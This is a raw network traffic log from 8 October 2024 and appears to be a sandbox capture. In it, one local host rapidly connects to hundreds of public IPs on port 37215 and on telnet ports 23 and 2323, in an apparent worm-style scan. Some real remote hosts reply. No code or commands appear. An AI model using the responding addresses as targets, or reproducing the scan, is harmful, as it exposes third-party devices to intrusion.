Oct 8, 2024 20:34:58.604129076 CEST	48169	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:58.604130030 CEST	37215	48169	156.46.116.76	192.168.2.14
Oct 8, 2024 20:34:58.604136944 CEST	48169	37215	192.168.2.14	41.128.55.150
Oct 8, 2024 20:34:58.604139090 CEST	37215	48169	41.40.122.126	192.168.2.14
Oct 8, 2024 20:34:58.604150057 CEST	37215	48169	41.208.240.150	192.168.2.14
Oct 8, 2024 20:34:58.604160070 CEST	37215	48169	197.248.137.205	192.168.2.14
Oct 8, 2024 20:34:58.604165077 CEST	48169	37215	192.168.2.14	41.40.122.126
Oct 8, 2024 20:34:58.604167938 CEST	37215	48169	197.4.95.177	192.168.2.14
Oct 8, 2024 20:34:58.604171038 CEST	48169	37215	192.168.2.14	156.54.221.90
Oct 8, 2024 20:34:58.604171038 CEST	48169	37215	192.168.2.14	156.46.116.76
Oct 8, 2024 20:34:58.604177952 CEST	37215	48169	197.38.138.119	192.168.2.14
Oct 8, 2024 20:34:58.604187965 CEST	37215	48169	41.243.81.130	192.168.2.14
Oct 8, 2024 20:34:58.604197025 CEST	48169	37215	192.168.2.14	41.208.240.150
Oct 8, 2024 20:34:58.604204893 CEST	37215	48169	197.95.10.150	192.168.2.14
Oct 8, 2024 20:34:58.604208946 CEST	48169	37215	192.168.2.14	197.248.137.205
Oct 8, 2024 20:34:58.604213953 CEST	37215	48169	156.244.31.247	192.168.2.14
Oct 8, 2024 20:34:58.604221106 CEST	48169	37215	192.168.2.14	197.38.138.119
Oct 8, 2024 20:34:58.604222059 CEST	48169	37215	192.168.2.14	41.243.81.130
Oct 8, 2024 20:34:58.604221106 CEST	48169	37215	192.168.2.14	197.4.95.177
Oct 8, 2024 20:34:58.604223013 CEST	37215	48169	156.67.186.77	192.168.2.14
Oct 8, 2024 20:34:58.604233027 CEST	37215	48169	41.159.208.39	192.168.2.14
Oct 8, 2024 20:34:58.604240894 CEST	48169	37215	192.168.2.14	156.244.31.247
Oct 8, 2024 20:34:58.604243040 CEST	48169	37215	192.168.2.14	197.95.10.150
Oct 8, 2024 20:34:58.604257107 CEST	48169	37215	192.168.2.14	156.67.186.77
Oct 8, 2024 20:34:58.604269028 CEST	48169	37215	192.168.2.14	41.159.208.39
Oct 8, 2024 20:34:58.604271889 CEST	37215	48169	156.86.68.61	192.168.2.14
Oct 8, 2024 20:34:58.604281902 CEST	37215	48169	41.195.106.175	192.168.2.14
Oct 8, 2024 20:34:58.604291916 CEST	37215	48169	156.148.159.1	192.168.2.14
Oct 8, 2024 20:34:58.604296923 CEST	37215	58984	156.103.50.200	192.168.2.14
Oct 8, 2024 20:34:58.604310036 CEST	48169	37215	192.168.2.14	41.195.106.175
Oct 8, 2024 20:34:58.604317904 CEST	37215	35502	41.219.111.19	192.168.2.14
Oct 8, 2024 20:34:58.604317904 CEST	48169	37215	192.168.2.14	156.86.68.61
Oct 8, 2024 20:34:58.604317904 CEST	48169	37215	192.168.2.14	156.148.159.1
Oct 8, 2024 20:34:58.604325056 CEST	58984	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:58.604327917 CEST	37215	48169	197.106.7.210	192.168.2.14
Oct 8, 2024 20:34:58.604336977 CEST	37215	35502	41.219.111.19	192.168.2.14
Oct 8, 2024 20:34:58.604346037 CEST	37215	45628	197.188.135.64	192.168.2.14
Oct 8, 2024 20:34:58.604361057 CEST	48169	37215	192.168.2.14	197.106.7.210
Oct 8, 2024 20:34:58.604361057 CEST	35502	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:58.604635000 CEST	51014	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:58.605644941 CEST	54304	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:58.606368065 CEST	37215	34952	156.196.119.180	192.168.2.14
Oct 8, 2024 20:34:58.606534004 CEST	49980	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:58.607136965 CEST	47356	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:58.607414961 CEST	37215	42350	197.148.38.33	192.168.2.14
Oct 8, 2024 20:34:58.607765913 CEST	34370	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:58.607920885 CEST	37215	47628	197.99.192.124	192.168.2.14
Oct 8, 2024 20:34:58.608481884 CEST	54198	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:58.608757019 CEST	37215	46902	156.150.11.107	192.168.2.14
Oct 8, 2024 20:34:58.609040022 CEST	50910	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:58.609062910 CEST	37215	47206	156.150.11.107	192.168.2.14
Oct 8, 2024 20:34:58.609103918 CEST	47206	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.609595060 CEST	43544	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:58.610209942 CEST	37114	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:58.610853910 CEST	36758	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:58.611475945 CEST	46252	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:58.612199068 CEST	59304	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:58.612695932 CEST	36270	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:58.613329887 CEST	54066	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:58.614039898 CEST	36872	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:58.615566969 CEST	60822	37215	192.168.2.14	41.128.55.150
Oct 8, 2024 20:34:58.616202116 CEST	33356	37215	192.168.2.14	156.54.221.90
Oct 8, 2024 20:34:58.616343975 CEST	37215	46252	197.240.193.198	192.168.2.14
Oct 8, 2024 20:34:58.616399050 CEST	46252	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:58.616795063 CEST	39064	37215	192.168.2.14	156.46.116.76
Oct 8, 2024 20:34:58.617357969 CEST	38008	37215	192.168.2.14	41.40.122.126
Oct 8, 2024 20:34:58.617957115 CEST	34754	37215	192.168.2.14	41.208.240.150
Oct 8, 2024 20:34:58.618527889 CEST	48228	37215	192.168.2.14	197.248.137.205
Oct 8, 2024 20:34:58.619131088 CEST	35608	37215	192.168.2.14	197.4.95.177
Oct 8, 2024 20:34:58.619739056 CEST	44284	37215	192.168.2.14	197.38.138.119
Oct 8, 2024 20:34:58.620347977 CEST	52384	37215	192.168.2.14	41.243.81.130
Oct 8, 2024 20:34:58.620935917 CEST	33876	37215	192.168.2.14	197.95.10.150
Oct 8, 2024 20:34:58.621520042 CEST	45608	37215	192.168.2.14	156.244.31.247
Oct 8, 2024 20:34:58.622257948 CEST	39470	37215	192.168.2.14	156.67.186.77
Oct 8, 2024 20:34:58.622678041 CEST	57446	37215	192.168.2.14	41.159.208.39
Oct 8, 2024 20:34:58.623250961 CEST	50152	37215	192.168.2.14	197.104.247.95
Oct 8, 2024 20:34:58.623250008 CEST	56248	37215	192.168.2.14	156.168.97.189
Oct 8, 2024 20:34:58.623255968 CEST	53310	37215	192.168.2.14	197.190.56.127
Oct 8, 2024 20:34:58.623260975 CEST	39174	37215	192.168.2.14	197.89.103.45
Oct 8, 2024 20:34:58.623259068 CEST	45876	37215	192.168.2.14	156.198.32.25
Oct 8, 2024 20:34:58.623259068 CEST	44772	37215	192.168.2.14	156.86.188.100
Oct 8, 2024 20:34:58.623272896 CEST	36300	37215	192.168.2.14	197.132.170.39
Oct 8, 2024 20:34:58.623274088 CEST	55606	37215	192.168.2.14	41.167.195.187
Oct 8, 2024 20:34:58.623274088 CEST	51794	37215	192.168.2.14	41.114.131.97
Oct 8, 2024 20:34:58.623277903 CEST	46578	37215	192.168.2.14	156.82.185.38
Oct 8, 2024 20:34:58.623282909 CEST	42526	37215	192.168.2.14	197.110.33.52
Oct 8, 2024 20:34:58.623285055 CEST	48536	37215	192.168.2.14	41.130.30.224
Oct 8, 2024 20:34:58.623291969 CEST	43516	37215	192.168.2.14	41.34.19.233
Oct 8, 2024 20:34:58.623306990 CEST	45964	37215	192.168.2.14	197.126.132.192
Oct 8, 2024 20:34:58.623307943 CEST	49236	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:34:58.623307943 CEST	54824	37215	192.168.2.14	41.168.12.102
Oct 8, 2024 20:34:58.623322010 CEST	52216	37215	192.168.2.14	197.171.50.182
Oct 8, 2024 20:34:58.623323917 CEST	50024	37215	192.168.2.14	156.33.229.36
Oct 8, 2024 20:34:58.623325109 CEST	49004	37215	192.168.2.14	197.53.81.109
Oct 8, 2024 20:34:58.623325109 CEST	58506	37215	192.168.2.14	197.224.174.122
Oct 8, 2024 20:34:58.623325109 CEST	34380	37215	192.168.2.14	41.75.104.202
Oct 8, 2024 20:34:58.623326063 CEST	47610	37215	192.168.2.14	156.26.171.128
Oct 8, 2024 20:34:58.623326063 CEST	54898	37215	192.168.2.14	41.115.157.223
Oct 8, 2024 20:34:58.623326063 CEST	40440	37215	192.168.2.14	197.106.219.53
Oct 8, 2024 20:34:58.623326063 CEST	40528	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:34:58.623325109 CEST	42986	37215	192.168.2.14	156.244.120.81
Oct 8, 2024 20:34:58.623326063 CEST	44342	37215	192.168.2.14	197.160.43.185
Oct 8, 2024 20:34:58.623336077 CEST	38612	37215	192.168.2.14	156.54.149.143
Oct 8, 2024 20:34:58.623337030 CEST	38666	37215	192.168.2.14	41.178.224.0
Oct 8, 2024 20:34:58.623337030 CEST	56842	37215	192.168.2.14	197.23.15.106
Oct 8, 2024 20:34:58.623339891 CEST	34342	37215	192.168.2.14	41.131.40.164
Oct 8, 2024 20:34:58.623337030 CEST	56282	37215	192.168.2.14	41.229.137.186
Oct 8, 2024 20:34:58.623337030 CEST	40384	37215	192.168.2.14	156.245.87.134
Oct 8, 2024 20:34:58.623346090 CEST	47852	37215	192.168.2.14	41.39.122.43
Oct 8, 2024 20:34:58.623361111 CEST	45108	37215	192.168.2.14	197.95.46.66
Oct 8, 2024 20:34:58.623361111 CEST	49024	37215	192.168.2.14	41.75.12.165
Oct 8, 2024 20:34:58.623361111 CEST	50042	37215	192.168.2.14	197.237.224.136
Oct 8, 2024 20:34:58.623361111 CEST	38254	37215	192.168.2.14	197.71.140.28
Oct 8, 2024 20:34:58.623363018 CEST	45286	37215	192.168.2.14	156.173.191.194
Oct 8, 2024 20:34:58.623362064 CEST	33968	37215	192.168.2.14	41.61.159.176
Oct 8, 2024 20:34:58.623362064 CEST	46584	37215	192.168.2.14	197.85.197.68
Oct 8, 2024 20:34:58.623364925 CEST	48824	37215	192.168.2.14	156.109.35.230
Oct 8, 2024 20:34:58.623364925 CEST	39250	37215	192.168.2.14	41.82.251.103
Oct 8, 2024 20:34:58.623364925 CEST	44852	37215	192.168.2.14	156.60.152.213
Oct 8, 2024 20:34:58.623364925 CEST	35120	37215	192.168.2.14	197.129.182.65
Oct 8, 2024 20:34:58.623364925 CEST	53964	37215	192.168.2.14	197.21.120.182
Oct 8, 2024 20:34:58.623364925 CEST	40216	37215	192.168.2.14	41.135.235.217
Oct 8, 2024 20:34:58.623373985 CEST	55736	37215	192.168.2.14	156.166.199.178
Oct 8, 2024 20:34:58.623364925 CEST	57284	37215	192.168.2.14	41.231.0.126
Oct 8, 2024 20:34:58.623364925 CEST	35398	37215	192.168.2.14	156.66.30.6
Oct 8, 2024 20:34:58.623377085 CEST	37648	37215	192.168.2.14	197.75.145.101
Oct 8, 2024 20:34:58.623378038 CEST	46800	37215	192.168.2.14	156.86.68.61
Oct 8, 2024 20:34:58.623379946 CEST	58536	37215	192.168.2.14	41.231.246.166
Oct 8, 2024 20:34:58.623382092 CEST	42808	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:58.623382092 CEST	41270	37215	192.168.2.14	41.3.52.83
Oct 8, 2024 20:34:58.623393059 CEST	45732	37215	192.168.2.14	197.91.221.188
Oct 8, 2024 20:34:58.623399019 CEST	43886	37215	192.168.2.14	41.144.57.235
Oct 8, 2024 20:34:58.623399019 CEST	49604	37215	192.168.2.14	41.104.123.154
Oct 8, 2024 20:34:58.623399019 CEST	57062	37215	192.168.2.14	41.212.4.209
Oct 8, 2024 20:34:58.623399019 CEST	34554	37215	192.168.2.14	156.126.6.231
Oct 8, 2024 20:34:58.624485016 CEST	51502	37215	192.168.2.14	41.195.106.175
Oct 8, 2024 20:34:58.624795914 CEST	48728	37215	192.168.2.14	156.148.159.1
Oct 8, 2024 20:34:58.625407934 CEST	56456	37215	192.168.2.14	197.106.7.210
Oct 8, 2024 20:34:58.625926971 CEST	47206	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.625998974 CEST	46252	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:58.625998974 CEST	46252	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:58.626303911 CEST	46296	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:58.628242016 CEST	37215	42808	197.123.151.190	192.168.2.14
Oct 8, 2024 20:34:58.628320932 CEST	42808	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:58.628391027 CEST	42808	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:58.628391027 CEST	42808	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:58.628720045 CEST	43086	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:58.630908966 CEST	37215	46252	197.240.193.198	192.168.2.14
Oct 8, 2024 20:34:58.631205082 CEST	37215	47206	156.150.11.107	192.168.2.14
Oct 8, 2024 20:34:58.631251097 CEST	47206	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.633574963 CEST	37215	42808	197.123.151.190	192.168.2.14
Oct 8, 2024 20:34:58.647524118 CEST	37215	47628	197.99.192.124	192.168.2.14
Oct 8, 2024 20:34:58.647535086 CEST	37215	42350	197.148.38.33	192.168.2.14
Oct 8, 2024 20:34:58.647545099 CEST	37215	34952	156.196.119.180	192.168.2.14
Oct 8, 2024 20:34:58.647557020 CEST	37215	45628	197.188.135.64	192.168.2.14
Oct 8, 2024 20:34:58.651510000 CEST	37215	46902	156.150.11.107	192.168.2.14
Oct 8, 2024 20:34:58.655281067 CEST	51680	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:58.655286074 CEST	34244	37215	192.168.2.14	197.242.135.34
Oct 8, 2024 20:34:58.655289888 CEST	55828	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:58.655286074 CEST	33902	37215	192.168.2.14	156.126.147.159
Oct 8, 2024 20:34:58.655286074 CEST	34358	37215	192.168.2.14	156.226.59.25
Oct 8, 2024 20:34:58.655296087 CEST	47116	37215	192.168.2.14	41.149.36.112
Oct 8, 2024 20:34:58.655296087 CEST	46488	37215	192.168.2.14	197.107.207.131
Oct 8, 2024 20:34:58.655311108 CEST	38270	37215	192.168.2.14	156.143.124.66
Oct 8, 2024 20:34:58.655311108 CEST	40230	37215	192.168.2.14	41.150.102.212
Oct 8, 2024 20:34:58.655313969 CEST	42808	37215	192.168.2.14	156.60.195.206
Oct 8, 2024 20:34:58.655314922 CEST	48376	37215	192.168.2.14	41.1.145.144
Oct 8, 2024 20:34:58.655314922 CEST	40766	37215	192.168.2.14	156.185.63.71
Oct 8, 2024 20:34:58.655344009 CEST	36900	37215	192.168.2.14	197.163.232.58
Oct 8, 2024 20:34:58.655344963 CEST	55134	37215	192.168.2.14	41.184.248.137
Oct 8, 2024 20:34:58.655347109 CEST	38162	37215	192.168.2.14	156.190.184.19
Oct 8, 2024 20:34:58.655347109 CEST	52804	37215	192.168.2.14	41.190.6.222
Oct 8, 2024 20:34:58.655349016 CEST	46596	37215	192.168.2.14	156.166.209.196
Oct 8, 2024 20:34:58.655349016 CEST	50564	37215	192.168.2.14	41.132.27.85
Oct 8, 2024 20:34:58.655354977 CEST	40324	37215	192.168.2.14	197.22.60.61
Oct 8, 2024 20:34:58.655361891 CEST	36760	37215	192.168.2.14	197.185.191.196
Oct 8, 2024 20:34:58.655363083 CEST	42966	37215	192.168.2.14	41.241.68.240
Oct 8, 2024 20:34:58.655363083 CEST	49886	37215	192.168.2.14	197.69.143.158
Oct 8, 2024 20:34:58.655363083 CEST	52636	37215	192.168.2.14	156.126.200.175
Oct 8, 2024 20:34:58.655364037 CEST	54306	37215	192.168.2.14	197.41.200.182
Oct 8, 2024 20:34:58.655363083 CEST	45400	37215	192.168.2.14	41.218.37.60
Oct 8, 2024 20:34:58.655364037 CEST	34318	37215	192.168.2.14	41.113.31.144
Oct 8, 2024 20:34:58.655364990 CEST	32872	37215	192.168.2.14	197.26.143.211
Oct 8, 2024 20:34:58.655364037 CEST	58588	37215	192.168.2.14	156.178.255.229
Oct 8, 2024 20:34:58.655364037 CEST	34970	37215	192.168.2.14	41.200.53.61
Oct 8, 2024 20:34:58.655376911 CEST	53346	37215	192.168.2.14	156.76.221.229
Oct 8, 2024 20:34:58.655379057 CEST	59924	37215	192.168.2.14	156.59.26.102
Oct 8, 2024 20:34:58.655380011 CEST	36826	37215	192.168.2.14	156.188.212.194
Oct 8, 2024 20:34:58.655379057 CEST	39736	37215	192.168.2.14	197.70.7.124
Oct 8, 2024 20:34:58.655388117 CEST	38190	37215	192.168.2.14	156.156.68.138
Oct 8, 2024 20:34:58.655388117 CEST	37348	37215	192.168.2.14	197.11.34.87
Oct 8, 2024 20:34:58.655389071 CEST	36036	37215	192.168.2.14	41.116.215.52
Oct 8, 2024 20:34:58.655381918 CEST	39482	37215	192.168.2.14	41.67.30.14
Oct 8, 2024 20:34:58.655381918 CEST	53132	37215	192.168.2.14	41.4.87.40
Oct 8, 2024 20:34:58.655399084 CEST	33414	37215	192.168.2.14	156.131.17.222
Oct 8, 2024 20:34:58.655399084 CEST	49040	37215	192.168.2.14	197.56.118.247
Oct 8, 2024 20:34:58.655400038 CEST	46942	37215	192.168.2.14	41.44.129.66
Oct 8, 2024 20:34:58.655401945 CEST	41456	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:58.655401945 CEST	56112	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:58.655405045 CEST	52982	37215	192.168.2.14	156.88.229.99
Oct 8, 2024 20:34:58.655405045 CEST	42164	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:58.655409098 CEST	40394	37215	192.168.2.14	41.193.92.74
Oct 8, 2024 20:34:58.655417919 CEST	36942	37215	192.168.2.14	156.68.141.208
Oct 8, 2024 20:34:58.655417919 CEST	41158	37215	192.168.2.14	197.69.64.180
Oct 8, 2024 20:34:58.655431032 CEST	36540	37215	192.168.2.14	197.145.161.203
Oct 8, 2024 20:34:58.655431032 CEST	53146	37215	192.168.2.14	197.30.191.205
Oct 8, 2024 20:34:58.660840034 CEST	37215	55828	197.55.132.116	192.168.2.14
Oct 8, 2024 20:34:58.660859108 CEST	37215	51680	197.116.210.230	192.168.2.14
Oct 8, 2024 20:34:58.660911083 CEST	55828	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:58.660914898 CEST	51680	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:58.661032915 CEST	55828	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:58.661053896 CEST	51680	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:58.661240101 CEST	37215	34244	197.242.135.34	192.168.2.14
Oct 8, 2024 20:34:58.661292076 CEST	34244	37215	192.168.2.14	197.242.135.34
Oct 8, 2024 20:34:58.661334038 CEST	34244	37215	192.168.2.14	197.242.135.34
Oct 8, 2024 20:34:58.666663885 CEST	37215	55828	197.55.132.116	192.168.2.14
Oct 8, 2024 20:34:58.666713953 CEST	55828	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:58.666855097 CEST	37215	51680	197.116.210.230	192.168.2.14
Oct 8, 2024 20:34:58.666881084 CEST	51680	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:58.667010069 CEST	37215	34244	197.242.135.34	192.168.2.14
Oct 8, 2024 20:34:58.667114973 CEST	34244	37215	192.168.2.14	197.242.135.34
Oct 8, 2024 20:34:58.671452045 CEST	37215	46252	197.240.193.198	192.168.2.14
Oct 8, 2024 20:34:58.675539017 CEST	37215	42808	197.123.151.190	192.168.2.14
Oct 8, 2024 20:34:59.317238092 CEST	23	46900	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:59.317591906 CEST	46900	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:59.318161964 CEST	47090	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:59.318650007 CEST	48168	2323	192.168.2.14	67.217.183.75
Oct 8, 2024 20:34:59.318665028 CEST	48168	23	192.168.2.14	116.61.47.211
Oct 8, 2024 20:34:59.318687916 CEST	48168	23	192.168.2.14	208.24.198.240
Oct 8, 2024 20:34:59.318687916 CEST	48168	23	192.168.2.14	103.55.107.73
Oct 8, 2024 20:34:59.318705082 CEST	48168	23	192.168.2.14	171.180.178.249
Oct 8, 2024 20:34:59.318739891 CEST	48168	23	192.168.2.14	36.226.40.33
Oct 8, 2024 20:34:59.318743944 CEST	48168	23	192.168.2.14	133.255.148.149
Oct 8, 2024 20:34:59.318748951 CEST	48168	23	192.168.2.14	120.89.80.64
Oct 8, 2024 20:34:59.318766117 CEST	48168	23	192.168.2.14	46.3.220.217
Oct 8, 2024 20:34:59.318790913 CEST	48168	2323	192.168.2.14	76.130.1.41
Oct 8, 2024 20:34:59.318790913 CEST	48168	23	192.168.2.14	116.165.163.53
Oct 8, 2024 20:34:59.318800926 CEST	48168	23	192.168.2.14	194.220.6.218
Oct 8, 2024 20:34:59.318816900 CEST	48168	23	192.168.2.14	112.199.208.63
Oct 8, 2024 20:34:59.318835974 CEST	48168	23	192.168.2.14	2.227.68.102
Oct 8, 2024 20:34:59.318836927 CEST	48168	23	192.168.2.14	36.176.50.0
Oct 8, 2024 20:34:59.318850994 CEST	48168	23	192.168.2.14	165.180.143.33
Oct 8, 2024 20:34:59.318867922 CEST	48168	23	192.168.2.14	104.224.249.245
Oct 8, 2024 20:34:59.318880081 CEST	48168	23	192.168.2.14	48.131.134.185
Oct 8, 2024 20:34:59.318893909 CEST	48168	23	192.168.2.14	118.46.93.80
Oct 8, 2024 20:34:59.318914890 CEST	48168	23	192.168.2.14	170.19.108.123
Oct 8, 2024 20:34:59.318926096 CEST	48168	23	192.168.2.14	113.122.124.98
Oct 8, 2024 20:34:59.318927050 CEST	48168	2323	192.168.2.14	180.11.126.119
Oct 8, 2024 20:34:59.318937063 CEST	48168	23	192.168.2.14	119.95.38.68
Oct 8, 2024 20:34:59.318948030 CEST	48168	23	192.168.2.14	67.151.0.141
Oct 8, 2024 20:34:59.318953037 CEST	48168	23	192.168.2.14	39.231.6.184
Oct 8, 2024 20:34:59.318959951 CEST	48168	23	192.168.2.14	221.155.237.253
Oct 8, 2024 20:34:59.318977118 CEST	48168	23	192.168.2.14	100.186.131.247
Oct 8, 2024 20:34:59.318998098 CEST	48168	23	192.168.2.14	184.178.88.216
Oct 8, 2024 20:34:59.319006920 CEST	48168	23	192.168.2.14	159.244.34.78
Oct 8, 2024 20:34:59.319031000 CEST	48168	2323	192.168.2.14	179.13.198.54
Oct 8, 2024 20:34:59.319041014 CEST	48168	23	192.168.2.14	144.35.93.68
Oct 8, 2024 20:34:59.319046021 CEST	48168	23	192.168.2.14	122.189.140.53
Oct 8, 2024 20:34:59.319060087 CEST	48168	23	192.168.2.14	190.247.70.90
Oct 8, 2024 20:34:59.319087982 CEST	48168	23	192.168.2.14	93.237.44.89
Oct 8, 2024 20:34:59.319092989 CEST	48168	23	192.168.2.14	168.35.21.106
Oct 8, 2024 20:34:59.319113970 CEST	48168	23	192.168.2.14	57.63.61.88
Oct 8, 2024 20:34:59.319129944 CEST	48168	23	192.168.2.14	116.27.2.55
Oct 8, 2024 20:34:59.319139957 CEST	48168	23	192.168.2.14	169.129.31.164
Oct 8, 2024 20:34:59.319139957 CEST	48168	23	192.168.2.14	204.107.200.80
Oct 8, 2024 20:34:59.319155931 CEST	48168	23	192.168.2.14	123.149.106.140
Oct 8, 2024 20:34:59.319161892 CEST	48168	2323	192.168.2.14	199.65.53.100
Oct 8, 2024 20:34:59.319180012 CEST	48168	23	192.168.2.14	76.231.79.33
Oct 8, 2024 20:34:59.319186926 CEST	48168	23	192.168.2.14	58.111.70.86
Oct 8, 2024 20:34:59.319202900 CEST	48168	23	192.168.2.14	92.19.12.95
Oct 8, 2024 20:34:59.319243908 CEST	48168	23	192.168.2.14	42.89.216.0
Oct 8, 2024 20:34:59.319258928 CEST	48168	23	192.168.2.14	141.104.101.1
Oct 8, 2024 20:34:59.319278002 CEST	48168	23	192.168.2.14	195.38.42.238
Oct 8, 2024 20:34:59.319371939 CEST	48168	23	192.168.2.14	107.181.240.85
Oct 8, 2024 20:34:59.319381952 CEST	48168	23	192.168.2.14	221.111.184.33
Oct 8, 2024 20:34:59.319408894 CEST	48168	2323	192.168.2.14	34.65.217.22
Oct 8, 2024 20:34:59.319408894 CEST	48168	23	192.168.2.14	17.218.162.121
Oct 8, 2024 20:34:59.319408894 CEST	48168	23	192.168.2.14	145.37.78.214
Oct 8, 2024 20:34:59.319427967 CEST	48168	23	192.168.2.14	40.182.138.1
Oct 8, 2024 20:34:59.319462061 CEST	48168	23	192.168.2.14	203.252.39.58
Oct 8, 2024 20:34:59.319462061 CEST	48168	23	192.168.2.14	2.156.31.55
Oct 8, 2024 20:34:59.319463015 CEST	48168	23	192.168.2.14	12.229.119.30
Oct 8, 2024 20:34:59.319470882 CEST	48168	23	192.168.2.14	43.245.67.151
Oct 8, 2024 20:34:59.319470882 CEST	48168	23	192.168.2.14	99.111.236.224
Oct 8, 2024 20:34:59.319475889 CEST	48168	23	192.168.2.14	156.139.218.17
Oct 8, 2024 20:34:59.319489956 CEST	48168	23	192.168.2.14	83.131.194.92
Oct 8, 2024 20:34:59.319499969 CEST	48168	2323	192.168.2.14	99.137.50.63
Oct 8, 2024 20:34:59.319499969 CEST	48168	23	192.168.2.14	69.36.192.150
Oct 8, 2024 20:34:59.319519043 CEST	48168	23	192.168.2.14	103.189.35.21
Oct 8, 2024 20:34:59.319528103 CEST	48168	23	192.168.2.14	126.154.201.148
Oct 8, 2024 20:34:59.319549084 CEST	48168	23	192.168.2.14	117.230.235.84
Oct 8, 2024 20:34:59.319570065 CEST	48168	23	192.168.2.14	89.208.228.159
Oct 8, 2024 20:34:59.319576979 CEST	48168	23	192.168.2.14	180.227.233.91
Oct 8, 2024 20:34:59.319576979 CEST	48168	23	192.168.2.14	66.113.64.125
Oct 8, 2024 20:34:59.319585085 CEST	48168	23	192.168.2.14	69.202.50.134
Oct 8, 2024 20:34:59.319600105 CEST	48168	2323	192.168.2.14	183.156.254.185
Oct 8, 2024 20:34:59.319617987 CEST	48168	23	192.168.2.14	67.246.30.98
Oct 8, 2024 20:34:59.319631100 CEST	48168	23	192.168.2.14	206.51.29.78
Oct 8, 2024 20:34:59.319643974 CEST	48168	23	192.168.2.14	106.47.229.234
Oct 8, 2024 20:34:59.319643974 CEST	48168	23	192.168.2.14	222.88.22.129
Oct 8, 2024 20:34:59.319658041 CEST	48168	23	192.168.2.14	62.135.14.121
Oct 8, 2024 20:34:59.319658995 CEST	48168	23	192.168.2.14	69.136.46.248
Oct 8, 2024 20:34:59.319680929 CEST	48168	23	192.168.2.14	19.237.118.66
Oct 8, 2024 20:34:59.319686890 CEST	48168	23	192.168.2.14	142.243.221.235
Oct 8, 2024 20:34:59.319706917 CEST	48168	23	192.168.2.14	47.200.117.52
Oct 8, 2024 20:34:59.319708109 CEST	48168	23	192.168.2.14	146.50.18.123
Oct 8, 2024 20:34:59.319731951 CEST	48168	23	192.168.2.14	98.57.133.46
Oct 8, 2024 20:34:59.319731951 CEST	48168	23	192.168.2.14	119.229.20.231
Oct 8, 2024 20:34:59.319737911 CEST	48168	2323	192.168.2.14	203.44.16.198
Oct 8, 2024 20:34:59.319761038 CEST	48168	23	192.168.2.14	93.242.28.109
Oct 8, 2024 20:34:59.319776058 CEST	48168	23	192.168.2.14	111.250.193.33
Oct 8, 2024 20:34:59.319785118 CEST	48168	23	192.168.2.14	34.28.219.87
Oct 8, 2024 20:34:59.319787025 CEST	48168	23	192.168.2.14	61.155.239.229
Oct 8, 2024 20:34:59.319787025 CEST	48168	23	192.168.2.14	191.52.215.130
Oct 8, 2024 20:34:59.319808960 CEST	48168	23	192.168.2.14	85.149.74.88
Oct 8, 2024 20:34:59.319818974 CEST	48168	23	192.168.2.14	73.125.137.12
Oct 8, 2024 20:34:59.319833994 CEST	48168	2323	192.168.2.14	74.225.180.118
Oct 8, 2024 20:34:59.319842100 CEST	48168	23	192.168.2.14	67.246.213.28
Oct 8, 2024 20:34:59.319864988 CEST	48168	23	192.168.2.14	206.205.248.111
Oct 8, 2024 20:34:59.319870949 CEST	48168	23	192.168.2.14	110.234.73.55
Oct 8, 2024 20:34:59.319880009 CEST	48168	23	192.168.2.14	42.197.160.220
Oct 8, 2024 20:34:59.319886923 CEST	48168	23	192.168.2.14	48.155.28.26
Oct 8, 2024 20:34:59.319906950 CEST	48168	23	192.168.2.14	151.190.93.74
Oct 8, 2024 20:34:59.319916010 CEST	48168	23	192.168.2.14	37.140.92.195
Oct 8, 2024 20:34:59.319943905 CEST	48168	23	192.168.2.14	64.59.122.99
Oct 8, 2024 20:34:59.319963932 CEST	48168	23	192.168.2.14	183.16.62.213
Oct 8, 2024 20:34:59.319966078 CEST	48168	2323	192.168.2.14	54.26.252.64
Oct 8, 2024 20:34:59.319977999 CEST	48168	23	192.168.2.14	185.98.185.149
